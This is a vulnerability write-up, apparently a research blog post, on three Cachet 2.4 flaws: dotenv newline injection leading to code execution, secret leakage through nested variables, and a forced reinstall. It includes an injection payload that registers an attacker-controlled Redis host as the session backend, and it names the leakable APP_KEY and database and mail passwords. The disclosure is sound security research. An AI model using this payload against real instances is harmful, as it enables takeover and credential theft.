Cachet 2.4: Code Execution via Laravel Configuration Injection

No validation is performed on the incoming data: as long as the configuration entry already exists, it will be replaced with a value coming from the parameter. If an attacker provides a value containing new lines, it will create new entries in the dotenv file and may alter framework-level functionalities.

Note: only the first definition of a variable in a dotenv file will be used; subsequent ones will be ignored. 

On Laravel projects, this primitive is enough to gain arbitrary code execution. The initial dotenv configuration file will probably look like this in most instances:

.env:

APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null

Attackers could replace the CACHE_DRIVER key and register a Redis server under their control as a new session backend:

file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis

After sending a request that sets CACHE_DRIVER to this value, the dotenv file will look like this:

.env:

APP_ENV=production 
APP_DEBUG=false 
APP_URL=http://cachet.internal 
APP_TIMEZONE=UTC 
// [...] 
CACHE_DRIVER=file 
REDIS_HOST=some.remote.server 
REDIS_DATABASE=0 
REDIS_PORT=6379 
SESSION_DRIVER=redis 
SESSION_DRIVER=file 
QUEUE_DRIVER=null
// [...]

Because Laravel sessions are serialized using PHP’s native format, they are parsed with the function unserialize(). This is a known weakness that can be leveraged into the execution of arbitrary code by using a sequence of specially-crafted objects, a concept named “pop chains.” The tool PHPGGC can generate such chains for Laravel projects. 

Other ways to leverage command execution from a new line injection in a dotenv file may exist, but we did not pursue more research in this direction. My team and I are curious to know if you’re aware of other techniques, though!

CVE-2021-39174: Configuration Leak

As I described in the previous section, one can have direct read and write control over values stored in the dotenv file. Writing to this file ultimately leads to arbitrary code execution, but can it also be taken advantage of by the fact that the values of this file are displayed in the interface?

The documentation of vlucas/phpdotenv describes that it supports nested variables assignment: when declaring a variable, you can reference a previously declared one with the syntax ${NAME}.

This feature is convenient: by referencing another variable in an entry of the dotenv configuration file and displaying this entry in the interface, it reveals another’s variable value. 

It is already widely documented that leaking APP_KEY leads to code execution if the session driver is set to cookie, and this primitive can also be used to leak DB_PASSWORD and MAIL_PASSWORD to perform further attacks.

CVE-2021-39173: Forced Reinstall

The setup page cannot be accessed if the instance is already installed, as implemented in the middleware. SetupAlreadyCompleted:

app/Http/Middleware/SetupAlreadyCompleted.php:

<?php
class SetupAlreadyCompleted
{   
   // [...]   
   public function handle(Request $request, Closure $next)   
   {      
         try {          
             if ($this->settings->get('app_name')) {               
                  return cachet_redirect('dashboard');          
             }      
         } catch (ReadException $e) {          
            // not setup then!      
         }        
         
         return $next($request);   
  } 
}

The check is solely based on the value of the setting: if not defined or empty, the middleware will consider that the instance is installed. 

In case you’re wondering what else can evaluate as false, here is a quick primer on PHP’s typing system during comparisons until PHP 8. Comparison can be performed using an equality check (==) or an identity check (===). Equality checks imply the type of the operands is not accounted for, and strings can be cast to numbers beforehand. This behavior has been named “type juggling” and has been exploited in various real-life vulnerabilities (CVE-2017-1001000, CVE-2019-10231). In the case of the comparison above, any value equal to an empty string or “0” will evaluate  false and give access to the setup pages.

The value of the  app_name is not validated during the settings’ update in SettingsController@postSettings, at [1]:

app/Http/Controllers/Dashboard/SettingsController.php:

<?php
class SettingsController extends Controller
{  
   // [...]   
   public function postSettings()  
   {      
       $setting = app(Repository::class);      
       // [...]      
       $parameters = Binput::all();       
      // [...]      
      $excludedParams = [           
        '_token',          
        'app_banner',          
        'remove_banner',          
        'header',           
        'footer',           
        'stylesheet',      
     ];       
     try {          
         foreach (Binput::except($excludedParams) as $settingName =>
 $settingValue) {              
                if ($settingName === 'app_analytics_pi_url') {                      
                        $settingValue = rtrim($settingValue, '/');             
                }              
                $setting->set($settingName, $settingValue); // <-- [1]
// [...]

Therefore, an authenticated user can update it to a value evaluating to false and then access/setup again to re-install the instance with a new administrator account (elevation of privileges) or exploit our first finding and gain code execution (remember, UpdateConfigCommandHandler can also be exploited from this code path).

Patch

The new line injection vulnerability (CVE-2021-39172) was addressed by improving the validation of incoming values in UpdateConfigCommandHandler, rejecting any modification containing newline characters. 

The configuration leak bug (CVE-2021-39174) was more complex to patch, as the latest version of the dotenv library could not be imported due to the existing dependencies. Instead, relevant code was ported to allow the command handler to identify if a value contains a nested variable. 

Finally, it is not possible to force a re-installation of existing instances (CVE-2021-39173) thanks to improved checks in the impacted middleware.

Timeline

Summary

In this article, I analyzed three vulnerabilities in Cachet and demonstrated the ability to take over instances with only basic user permissions using Laravel configuration files. I also described the patches applied by the maintainers and how they prevent the attacks I presented. 

Finally, my team and I would like to thank the maintainers of the FiveAI fork of Cachet for acknowledging our advisory and fixing these vulnerabilities in a timely and professional manner.